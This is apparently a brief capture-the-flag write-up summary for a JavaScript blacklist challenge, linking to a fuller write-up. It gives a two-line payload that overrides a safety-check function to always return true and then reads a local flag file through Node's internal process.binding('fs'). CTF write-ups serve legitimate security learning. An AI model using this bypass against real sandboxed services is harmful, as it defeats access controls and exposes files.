TL;DR:

```
this.checkSafe = () => { return true }
process.binding("fs").readFileUtf8("./flag", 0, 0);
```

Original writeup (https://colleirose.github.io/uoft-ctf-baby-js-blacklist-writeup).